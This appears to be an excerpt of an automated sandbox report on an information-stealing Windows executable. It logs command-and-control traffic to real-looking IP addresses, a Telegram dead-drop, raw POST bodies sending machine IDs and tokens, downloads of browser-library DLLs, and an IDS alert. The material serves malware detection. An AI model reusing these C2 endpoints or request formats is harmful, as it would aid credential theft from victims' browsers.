Source: global traffic	HTTP traffic detected: POST /383ccd496f3c5eee.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DGIJECGDGCBKECAKFBGCHost: 193.233.112.44Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 47 49 4a 45 43 47 44 47 43 42 4b 45 43 41 4b 46 42 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 32 61 38 31 66 31 61 66 62 32 31 38 63 61 37 65 65 36 38 64 36 33 36 65 39 66 33 32 33 39 61 35 61 38 33 66 30 38 35 32 62 64 64 66 36 66 32 65 32 65 31 62 62 37 61 63 34 30 65 30 34 65 63 31 35 62 61 32 33 65 35 0d 0a 2d 2d 2d 2d 2d 2d 44 47 49 4a 45 43 47 44 47 43 42 4b 45 43 41 4b 46 42 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 44 47 49 4a 45 43 47 44 47 43 42 4b 45 43 41 4b 46 42 47 43 2d 2d 0d 0a Data Ascii: ------DGIJECGDGCBKECAKFBGCContent-Disposition: form-data; name="token"f2a81f1afb218ca7ee68d636e9f3239a5a83f0852bddf6f2e2e1bb7ac40e04ec15ba23e5------DGIJECGDGCBKECAKFBGCContent-Disposition: form-data; name="message"wkkjqaiaxkhb------DGIJECGDGCBKECAKFBGC--

Source: Joe Sandbox View	IP Address: 149.154.167.99 149.154.167.99
Source: Joe Sandbox View	IP Address: 149.154.167.99 149.154.167.99

Source: Joe Sandbox View	ASN Name: FREE-MPEIRU FREE-MPEIRU
Source: Joe Sandbox View	ASN Name: TELEGRAMRU TELEGRAMRU

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Network traffic

Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.5:49710 -> 193.233.112.44:80

Source: unknown	TCP traffic detected without corresponding DNS query: 91.214.78.145
Source: unknown	TCP traffic detected without corresponding DNS query: 91.214.78.145
Source: unknown	TCP traffic detected without corresponding DNS query: 91.214.78.145
Source: unknown	TCP traffic detected without corresponding DNS query: 91.214.78.145
Source: unknown	TCP traffic detected without corresponding DNS query: 91.214.78.145
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.112.44
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.112.44
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.112.44
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.112.44
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.112.44
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.112.44
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.112.44
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.112.44
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.112.44
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.112.44
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.112.44
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.112.44
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.112.44
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.112.44
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.112.44
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.112.44
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.112.44
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.112.44
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.112.44
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.112.44
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.112.44
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.112.44
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.112.44
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.112.44
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.112.44
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.112.44
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.112.44
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.112.44
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.112.44
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.112.44
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.112.44
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.112.44
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.112.44
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.112.44
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.112.44
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.112.44
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.112.44
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.112.44
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.112.44
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.112.44
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.112.44
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.112.44
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.112.44
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.112.44
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.112.44

Source: C:\Users\user\Desktop\NJna3TEAEr.exe

Code function: 0_2_002E60A0 InternetOpenA,StrCmpCA,InternetOpenUrlA,CreateFileA,InternetReadFile,WriteFile,CloseHandle,InternetCloseHandle,InternetCloseHandle,

0_2_002E60A0

Source: global traffic	HTTP traffic detected: GET /hwlflcqshvwp HTTP/1.1Host: t.meConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 91.214.78.145Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 193.233.112.44Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0853a005e18f0946/sqlite3.dll HTTP/1.1Host: 193.233.112.44Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0853a005e18f0946/freebl3.dll HTTP/1.1Host: 193.233.112.44Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0853a005e18f0946/mozglue.dll HTTP/1.1Host: 193.233.112.44Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0853a005e18f0946/msvcp140.dll HTTP/1.1Host: 193.233.112.44Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0853a005e18f0946/nss3.dll HTTP/1.1Host: 193.233.112.44Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0853a005e18f0946/softokn3.dll HTTP/1.1Host: 193.233.112.44Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0853a005e18f0946/vcruntime140.dll HTTP/1.1Host: 193.233.112.44Cache-Control: no-cache

Source: global traffic

DNS traffic detected: DNS query: t.me

Source: unknown

HTTP traffic detected: POST /383ccd496f3c5eee.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIEHIDHJDBFIIECAKECBHost: 193.233.112.44Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 49 45 48 49 44 48 4a 44 42 46 49 49 45 43 41 4b 45 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 38 31 44 35 45 33 41 38 35 32 44 31 38 33 35 36 37 39 37 33 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 48 49 44 48 4a 44 42 46 49 49 45 43 41 4b 45 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 67 61 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 48 49 44 48 4a 44 42 46 49 49 45 43 41 4b 45 43 42 2d 2d 0d 0a Data Ascii: ------GIEHIDHJDBFIIECAKECBContent-Disposition: form-data; name="hwid"181D5E3A852D183567973------GIEHIDHJDBFIIECAKECBContent-Disposition: form-data; name="build"game------GIEHIDHJDBFIIECAKECB--

Source: NJna3TEAEr.exe, 00000000.00000002.2478224507.000000000164E000.00000004.00000020.00020000.00000000.sdmp, NJna3TEAEr.exe, 00000000.00000002.2476006185.000000000033A000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: http://193.233.112.44
Source: NJna3TEAEr.exe, 00000000.00000002.2478224507.00000000016AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.112.44/
Source: NJna3TEAEr.exe, 00000000.00000002.2478224507.0000000001690000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.112.44/0853a005e18f0946/freebl3.dll
Source: NJna3TEAEr.exe, 00000000.00000002.2478224507.0000000001690000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.112.44/0853a005e18f0946/freebl3.dllx
Source: NJna3TEAEr.exe, 00000000.00000002.2478224507.0000000001690000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.112.44/0853a005e18f0946/mozglue.dll
Source: NJna3TEAEr.exe, 00000000.00000002.2478224507.0000000001690000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.112.44/0853a005e18f0946/mozglue.dll0
Source: NJna3TEAEr.exe, 00000000.00000002.2478224507.0000000001690000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.112.44/0853a005e18f0946/msvcp140.dll
Source: NJna3TEAEr.exe, 00000000.00000002.2478224507.000000000171F000.00000004.00000020.00020000.00000000.sdmp, NJna3TEAEr.exe, 00000000.00000002.2478224507.0000000001690000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.112.44/0853a005e18f0946/nss3.dll
Source: NJna3TEAEr.exe, 00000000.00000002.2478224507.000000000171F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.112.44/0853a005e18f0946/nss3.dll)
Source: NJna3TEAEr.exe, 00000000.00000002.2478224507.0000000001690000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.112.44/0853a005e18f0946/nss3.dll/
Source: NJna3TEAEr.exe, 00000000.00000002.2478224507.000000000171F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.112.44/0853a005e18f0946/nss3.dllg
Source: NJna3TEAEr.exe, 00000000.00000002.2478224507.0000000001690000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.112.44/0853a005e18f0946/softokn3.dll
Source: NJna3TEAEr.exe, 00000000.00000002.2478224507.0000000001690000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.112.44/0853a005e18f0946/softokn3.dll&
Source: NJna3TEAEr.exe, 00000000.00000002.2478224507.0000000001690000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.112.44/0853a005e18f0946/sqlite3.dll
Source: NJna3TEAEr.exe, 00000000.00000002.2478224507.000000000171F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.112.44/0853a005e18f0946/vcruntime140.dll
Source: NJna3TEAEr.exe, 00000000.00000002.2478224507.00000000016AF000.00000004.00000020.00020000.00000000.sdmp, NJna3TEAEr.exe, 00000000.00000002.2478224507.000000000164E000.00000004.00000020.00020000.00000000.sdmp, NJna3TEAEr.exe, 00000000.00000002.2476006185.000000000033A000.00000004.00000001.01000000.00000003.sdmp, NJna3TEAEr.exe, 00000000.00000002.2494162707.0000000027CC2000.00000004.00000020.00020000.00000000.sdmp, NJna3TEAEr.exe, 00000000.00000002.2478224507.0000000001690000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.112.44/383ccd496f3c5eee.php
Source: NJna3TEAEr.exe, 00000000.00000002.2478224507.00000000016AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.112.44/383ccd496f3c5eee.php#j
Source: NJna3TEAEr.exe, 00000000.00000002.2478224507.00000000016AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.112.44/383ccd496f3c5eee.php3k
Source: NJna3TEAEr.exe, 00000000.00000002.2499103490.0000000033DF0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.112.44/383ccd496f3c5eee.php9
Source: NJna3TEAEr.exe, 00000000.00000002.2476006185.000000000033A000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: http://193.233.112.44/383ccd496f3c5eee.php=----2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZG
Source: NJna3TEAEr.exe, 00000000.00000002.2478224507.00000000016AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.112.44/383ccd496f3c5eee.php?k
Source: NJna3TEAEr.exe, 00000000.00000002.2499103490.0000000033DF0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.112.44/383ccd496f3c5eee.phpH
Source: NJna3TEAEr.exe, 00000000.00000002.2478224507.00000000016AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.112.44/383ccd496f3c5eee.phpKj
Source: NJna3TEAEr.exe, 00000000.00000002.2478224507.00000000016AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.112.44/383ccd496f3c5eee.phpWj
Source: NJna3TEAEr.exe, 00000000.00000002.2499103490.0000000033DF0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.112.44/383ccd496f3c5eee.phpb
Source: NJna3TEAEr.exe, 00000000.00000002.2494162707.0000000027CC2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.112.44/383ccd496f3c5eee.phpc
Source: NJna3TEAEr.exe, 00000000.00000002.2478224507.00000000016AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.112.44/383ccd496f3c5eee.phpindows
Source: NJna3TEAEr.exe, 00000000.00000002.2494162707.0000000027CC2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.112.44/383ccd496f3c5eee.phpj
Source: NJna3TEAEr.exe, 00000000.00000002.2494162707.0000000027CC2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.112.44/383ccd496f3c5eee.phpnfigOverlay
Source: NJna3TEAEr.exe, 00000000.00000002.2494162707.0000000027CC2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.112.44/383ccd496f3c5eee.phpnts
Source: NJna3TEAEr.exe, 00000000.00000002.2494162707.0000000027CC2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.112.44/383ccd496f3c5eee.phpp
Source: NJna3TEAEr.exe, 00000000.00000002.2499103490.0000000033E21000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.112.44/383ccd496f3c5eee.phps
Source: NJna3TEAEr.exe, 00000000.00000002.2478224507.00000000016AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.112.44/383ccd496f3c5eee.phpsj
Source: NJna3TEAEr.exe, 00000000.00000002.2478224507.00000000016AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.112.44/383ccd496f3c5eee.phpwser
Source: NJna3TEAEr.exe, 00000000.00000002.2478224507.00000000016AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.112.44/y
Source: NJna3TEAEr.exe, 00000000.00000002.2476006185.000000000033A000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: http://193.233.112.44383ccd496f3c5eee.phpdf6f2e2e1bb7ac40e04ec15ba23e52t8ZWpiYWxiYWtvcGxjaGxnaGVjZGF
Source: NJna3TEAEr.exe, 00000000.00000002.2499103490.0000000033DF0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.12
Source: NJna3TEAEr.exe, 00000000.00000002.2478224507.0000000001690000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.214.78.145
Source: NJna3TEAEr.exe, 00000000.00000002.2478224507.00000000016AF000.00000004.00000020.00020000.00000000.sdmp, NJna3TEAEr.exe, 00000000.00000002.2478224507.0000000001690000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.214.78.145/
Source: NJna3TEAEr.exe, 00000000.00000002.2478224507.0000000001690000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.214.78.145/W
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: NJna3TEAEr.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: NJna3TEAEr.exe, freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: NJna3TEAEr.exe	String found in binary or memory: http://crl.sectigo.com/SectigoPublicTimeStampingCAR36.crl0z
Source: NJna3TEAEr.exe	String found in binary or memory: http://crl.sectigo.com/SectigoPublicTimeStampingRootR46.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: NJna3TEAEr.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: NJna3TEAEr.exe, freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: NJna3TEAEr.exe	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: NJna3TEAEr.exe	String found in binary or memory: http://crt.sectigo.com/SectigoPublicTimeStampingCAR36.crt0#
Source: NJna3TEAEr.exe	String found in binary or memory: http://crt.sectigo.com/SectigoPublicTimeStampingRootR46.p7c0#
Source: NJna3TEAEr.exe, freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: NJna3TEAEr.exe, freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: NJna3TEAEr.exe	String found in binary or memory: http://ocsp.sectigo.com0
Source: NJna3TEAEr.exe, freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: NJna3TEAEr.exe, 00000000.00000003.2021420226.00000000016C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.
Source: NJna3TEAEr.exe, NJna3TEAEr.exe, 00000000.00000002.2500082176.000000006C64D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: NJna3TEAEr.exe, 00000000.00000002.2499905286.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, NJna3TEAEr.exe, 00000000.00000002.2489031140.000000001BBB4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: NJna3TEAEr.exe, 00000000.00000003.2099769186.0000000001724000.00000004.00000020.00020000.00000000.sdmp, AKKFHDAK.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: NJna3TEAEr.exe, 00000000.00000002.2494162707.0000000027CC2000.00000004.00000020.00020000.00000000.sdmp, FBKEHJEGCFBFHJJKJEHD.0.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
Source: NJna3TEAEr.exe, 00000000.00000002.2494162707.0000000027CC2000.00000004.00000020.00020000.00000000.sdmp, FBKEHJEGCFBFHJJKJEHD.0.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta
Source: NJna3TEAEr.exe, 00000000.00000003.2099769186.0000000001724000.00000004.00000020.00020000.00000000.sdmp, AKKFHDAK.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: NJna3TEAEr.exe, 00000000.00000003.2099769186.0000000001724000.00000004.00000020.00020000.00000000.sdmp, AKKFHDAK.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: NJna3TEAEr.exe, 00000000.00000003.2099769186.0000000001724000.00000004.00000020.00020000.00000000.sdmp, AKKFHDAK.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: NJna3TEAEr.exe, 00000000.00000002.2494162707.0000000027CC2000.00000004.00000020.00020000.00000000.sdmp, FBKEHJEGCFBFHJJKJEHD.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: NJna3TEAEr.exe, 00000000.00000002.2494162707.0000000027CC2000.00000004.00000020.00020000.00000000.sdmp, FBKEHJEGCFBFHJJKJEHD.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: NJna3TEAEr.exe, 00000000.00000003.2099769186.0000000001724000.00000004.00000020.00020000.00000000.sdmp, AKKFHDAK.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: NJna3TEAEr.exe, 00000000.00000003.2099769186.0000000001724000.00000004.00000020.00020000.00000000.sdmp, AKKFHDAK.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: NJna3TEAEr.exe, 00000000.00000003.2099769186.0000000001724000.00000004.00000020.00020000.00000000.sdmp, AKKFHDAK.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: FBKEHJEGCFBFHJJKJEHD.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: NJna3TEAEr.exe	String found in binary or memory: https://sectigo.com/CPS0
Source: EGHCBKKKFHCGCBFIJEHDGIDGCF.0.dr	String found in binary or memory: https://support.mozilla.org
Source: EGHCBKKKFHCGCBFIJEHDGIDGCF.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: EGHCBKKKFHCGCBFIJEHDGIDGCF.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL
Source: NJna3TEAEr.exe, 00000000.00000002.2478224507.00000000016AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/
Source: NJna3TEAEr.exe, 00000000.00000002.2478224507.00000000016AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/T
Source: NJna3TEAEr.exe, 00000000.00000003.2021420226.00000000016C8000.00000004.00000020.00020000.00000000.sdmp, NJna3TEAEr.exe, 00000000.00000002.2478224507.000000000164E000.00000004.00000020.00020000.00000000.sdmp, NJna3TEAEr.exe, 00000000.00000002.2476006185.000000000033A000.00000004.00000001.01000000.00000003.sdmp, NJna3TEAEr.exe, 00000000.00000002.2478224507.0000000001690000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/hwlflcqshvwp
Source: NJna3TEAEr.exe, 00000000.00000003.2021420226.00000000016C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/hwlflcqshvwp)
